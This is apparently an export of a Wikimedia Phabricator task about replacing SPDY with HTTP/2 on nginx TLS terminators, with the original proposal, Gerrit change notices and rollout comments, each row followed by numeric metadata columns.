We should support HTTP2, as this is the true standard that replaces the experimental SPDY and brings mostly the same benefits we've enjoyed so far with SPDY.  Note that our current production TLS terminators already support ALPN w/ SPDY, so ALPN-vs-NPN isn't an issue anymore.

Our current termination software is nginx 1.9.4 with a few extra local patches in support of parallel RSA+ECDSA certs.  Upstream nginx introduced HTTP2 support with their release of version 1.9.5.  However, they made an implementation decision to **replace** SPDY/3 support with HTTP2 support, rather than support both protocols side-by-side.  We believe that was a very poor decision, as it would have been easy to support both in the patches, and client statistics indicate the real world still has a fair number of clients out there which are SPDY- but not HTTP2- capable.

Our preliminary stats from sampling live TLS ClientHello data from our traffic (this was a fairly small sample, but I wouldn't expect too much change from a larger one) were:

| none      | 48.312%
| spdy+h2   | 25.426%
| spdy-only | 24.913%
| h2-only   | 01.350%

On a practical level, SPDY/3 and HTTP2 are both doing the same job in terms of effects on client and server performance and such.  If the stats above are broadly-accurate and we dropped SPDY/3 support for HTTP2 support today, we'd fall from ~50% of client connections on SPDY to only ~27% of client connections on HTTP2.

For an extra kick, this now also blocks us from upgrading to nginx 1.9.5 or higher in general, should we want to do so to apply fixes and improvements to other unrelated things.  We have a few basic categorical options here:

1. Re-work nginx's HTTP2 patch such that it doesn't remove SPDY/3 support, and then sort out making that into a reasonable diff against current nginx 1.9.x code.  Not completely trivial, but not all that difficult either given the patch history / diffs available at URL .  Kind of awful in the sense of moving further away from upstream and having to deal with more local code maintenance burden.

2. Convince upstream nginx to do something similar on their own.

3. Do all the work of option 1 ourselves, and submit the patches and get them included in upstream, removing the latter half of the problem in option 1.

4. Move to a different TLS termination software altogether, which ideally supports SPDY/3 + HTTP2, or at least supports SPDY/3 and has future plans to introduce HTTP2 alongside it (so that at least we can continue tracking upstream on unrelated bugs/improvements, unlike the situation with nginx today).  Apache might be an option here, but there are probably others that fit the bill as well.  Some googling and evaluating is in order."
691933,Support HTTP/2,"Graph of SPDY/3 and H/2 connection percentages for 1 month before and after the May 4th transition date:

{F4262192}",,,1468249922,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,53,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.304347826086956,0.9565217391304348,"Graph of SPDY/3 and H/2 connection percentages for 1 month before and after the May 4th transition date:

{F4262192}"
691932,Support HTTP/2,{F4262192},,,1468249888,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,53,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,{F4262192}
656677,Support HTTP/2,"Change 286819 merged by BBlack:
remove do_spdy hieradata, all h2, 2/2

[[https://gerrit.wikimedia.org/r/286819]]",,,1462382096,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.619047619047619,0.8571428571428571,"Change 286819 merged by BBlack:
remove do_spdy hieradata, all h2, 2/2

[[GERRIT_URL]]"
656661,Support HTTP/2,"Change 286818 merged by BBlack:
remove do_spdy conditional, all h2, 1/2

[[https://gerrit.wikimedia.org/r/286818]]",,,1462381536,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.7142857142857144,0.8571428571428571,"Change 286818 merged by BBlack:
remove do_spdy conditional, all h2, 1/2

[[GERRIT_URL]]"
656637,Support HTTP/2,"Thanks so much, @bblack. Rolling this out at this pace with no significant interruptions is very impressive. ",,,1462379790,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.8,0.9,"Thanks so much,SCREEN_NAME. Rolling this out at this pace with no significant interruptions is very impressive. "
656539,Support HTTP/2,\o/,,,1462375135,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,\o/
656459,Support HTTP/2,"text and upload have been converted now as well, so all cache clusters have made the HTTP/2 switch.  I've also done a last-minute fixup to the varnishxcps script (it didn't support the key `h2` in a regex), and now https://grafana.wikimedia.org/dashboard/db/client-connections shows combined spdy and h2 percentages, so that we can see the diff.

There's some noise around the transition + late varnishxcps fixup (where it goes to 100% and drops way too low, then levels back out), but ignoring that things look sane.  The drop does seem around 2% vs last week so far (which seems strange to me - I would've expected more diff from our systemtap stats due to per-connection vs per-request).",,,1462368854,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,1.0,0.0,0.0,0.5,0.5,5.5,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.5,3.0,0.0,9.5,10.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,2.0,0.5,0.5,0.0,6.5,1.5,1.0,0.0,0.0,1.5,0.5,2.0,0.5,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,4.0,1.5,3.5,6.5,0.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,4.5,10.0,0.5,0.0,0.0,0.0,4.5,0.0,1.5,1.0,0.5,0.5,0.5,0.0,0.0,3.611111111111111,0.8333333333333333,"text and upload have been converted now as well, so all cache clusters have made the HTTP/2 switch.  I've also done a last-minute fixup to the varnishxcps script (it didn't support the key CODE in a regex), and now URL shows combined spdy and h2 percentages, so that we can see the diff.

There's some noise around the transition + late varnishxcps fixup (where it goes to 100% and drops way too low, then levels back out), but ignoring that things look sane.  The drop does seem around 2% vs last week so far (which seems strange to me - I would've expected more diff from our systemtap stats due to per-connection vs per-request)."
656414,Support HTTP/2,"Change 286817 merged by BBlack:
cache_text HTTP/2 switch

[[https://gerrit.wikimedia.org/r/286817]]",,,1462363946,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.125,0.875,"Change 286817 merged by BBlack:
cache_text HTTP/2 switch

[[GERRIT_URL]]"
656406,Support HTTP/2,"Change 286816 merged by BBlack:
cache_upload HTTP/2 switch

[[https://gerrit.wikimedia.org/r/286816]]",,,1462363239,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.25,0.875,"Change 286816 merged by BBlack:
cache_upload HTTP/2 switch

[[GERRIT_URL]]"
656400,Support HTTP/2,"Change 286819 had a related patch set uploaded (by BBlack):
remove do_spdy hieradata, all h2, 2/2

[[https://gerrit.wikimedia.org/r/286819]]
",,,1462362946,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.5714285714285716,0.8571428571428571,"Change 286819 had a related patch set uploaded (by BBlack):
remove do_spdy hieradata, all h2, 2/2

[[GERRIT_URL]]
"
656399,Support HTTP/2,"Change 286818 had a related patch set uploaded (by BBlack):
remove do_spdy conditional, all h2, 1/2

[[https://gerrit.wikimedia.org/r/286818]]
",,,1462362945,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.642857142857143,0.8571428571428571,"Change 286818 had a related patch set uploaded (by BBlack):
remove do_spdy conditional, all h2, 1/2

[[GERRIT_URL]]
"
656398,Support HTTP/2,"Change 286817 had a related patch set uploaded (by BBlack):
cache_text HTTP/2 switch

[[https://gerrit.wikimedia.org/r/286817]]
",,,1462362944,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,3.9130434782608696,0.8695652173913043,"Change 286817 had a related patch set uploaded (by BBlack):
cache_text HTTP/2 switch

[[GERRIT_URL]]
"
656397,Support HTTP/2,"Change 286816 had a related patch set uploaded (by BBlack):
cache_upload HTTP/2 switch

[[https://gerrit.wikimedia.org/r/286816]]
",,,1462362943,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,4.0,0.8695652173913043,"Change 286816 had a related patch set uploaded (by BBlack):
cache_upload HTTP/2 switch

[[GERRIT_URL]]
"
655961,Support HTTP/2,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVR31uJv1EdYBLP_7ul2} [2016-05-03T18:17:31Z] <bblack> HTTP/2 enable for cache_misc (nginx upgrade - T96848)",,,1462299452,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.3714285714285714,0.8571428571428571,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-05-03T18:17:31Z] <bblack> HTTP/2 enable for cache_misc (nginx upgrade - T96848)"
655958,Support HTTP/2,"Change 286700 merged by BBlack:
cache_misc: HTTP/2 T96848

[[https://gerrit.wikimedia.org/r/286700]]",,,1462299161,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.9411764705882355,0.8235294117647058,"Change 286700 merged by BBlack:
cache_misc: HTTP/2 T96848

[[GERRIT_URL]]"
655957,Support HTTP/2,"Change 286700 had a related patch set uploaded (by BBlack):
cache_misc: HTTP/2 T96848

[[https://gerrit.wikimedia.org/r/286700]]
",,,1462299142,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.7916666666666665,0.875,"Change 286700 had a related patch set uploaded (by BBlack):
cache_misc: HTTP/2 T96848

[[GERRIT_URL]]
"
655898,Support HTTP/2,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVR3mhTqgCrwkbTdmHKG} [2016-05-03T17:11:07Z] <bblack> HTTP/2 enable for cache_maps (nginx upgrade) - T96848",,,1462295467,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.3714285714285714,0.8571428571428571,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-05-03T17:11:07Z] <bblack> HTTP/2 enable for cache_maps (nginx upgrade) - T96848"
655316,Support HTTP/2,"I've built new `1.10.0-1+wmf1` packages and uploaded those to carbon and upgraded cp1008.  These have no true code changes from the last 1.9.15-1+wmf1 test package, just version-related churn.  Still planning to start upgrading clusters during the US daytime on **Tues, May 3**.",,,1462220894,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,2.0,9.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.896551724137931,0.8103448275862069,"I've built new CODE packages and uploaded those to carbon and upgraded cp1008.  These have no true code changes from the last 1.9.15-1+wmf1 test package, just version-related churn.  Still planning to start upgrading clusters during the US daytime on **Tues, May 3**."
655298,Support HTTP/2,"Change 286508 merged by BBlack:
nginx (1.10.0-1 wmf1) jessie-wikimedia; urgency=medium

[[https://gerrit.wikimedia.org/r/286508]]",,,1462219074,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.4814814814814814,0.8888888888888888,"Change 286508 merged by BBlack:
nginx (1.10.0-1 wmf1) jessie-wikimedia; urgency=medium

[[GERRIT_URL]]"
655297,Support HTTP/2,"Change 286507 merged by BBlack:
Remove --automatic-dbgsym on dyn mod dh_strip

[[https://gerrit.wikimedia.org/r/286507]]",,,1462219064,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.9047619047619048,"Change 286507 merged by BBlack:
Remove --automatic-dbgsym on dyn mod dh_strip

[[GERRIT_URL]]"
655296,Support HTTP/2,"Change 286506 merged by BBlack:
multicert   libssl1.0.2 patches for 1.10.0

[[https://gerrit.wikimedia.org/r/286506]]",,,1462219052,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.315789473684211,0.8947368421052632,"Change 286506 merged by BBlack:
multicert   libssl1.0.2 patches for 1.10.0

[[GERRIT_URL]]"
655292,Support HTTP/2,"Change 284075 abandoned by BBlack:
multicert   libssl1.0.2 patches for 1.9.15

[[https://gerrit.wikimedia.org/r/284075]]",,,1462218906,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.473684210526316,0.8947368421052632,"Change 284075 abandoned by BBlack:
multicert   libssl1.0.2 patches for 1.9.15

[[GERRIT_URL]]"
655291,Support HTTP/2,"Change 284920 abandoned by BBlack:
Remove --automatic-dbgsym on dyn mod dh_strip

